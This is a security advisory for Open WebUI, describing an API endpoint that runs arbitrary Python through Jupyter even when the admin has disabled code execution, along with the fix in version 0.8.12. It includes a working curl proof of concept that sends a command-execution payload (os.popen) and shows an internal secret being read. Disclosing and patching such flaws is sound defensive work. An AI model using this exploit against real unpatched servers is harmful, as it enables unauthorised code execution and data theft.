Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassed

Overview

Summary

The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes.

Details

The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.

PoC

Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.

Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.

# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
  -H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}

# Step 2: Execute code anyway — gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"code":"import os; print(os.popen(\"id\").read())"}'

Verified output:

Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}

execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}

The PoC read the internal secret service content via Jupyter — despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.

Impact

Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:

• Arbitrary code execution in the Jupyter container (read files, spawn processes)
• Network access to all internal Docker services from the Jupyter container
• Data exfiltration from internal services
• The admin's security configuration (ENABLE_CODE_EXECUTION=false) is silently ineffective
• Users who are told "code execution is disabled" have a false sense of security

Resolution

Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.

Affected packages

• open-webui < 0.8.12

Remediation

Upgrade to a patched release:

• open-webui 0.8.12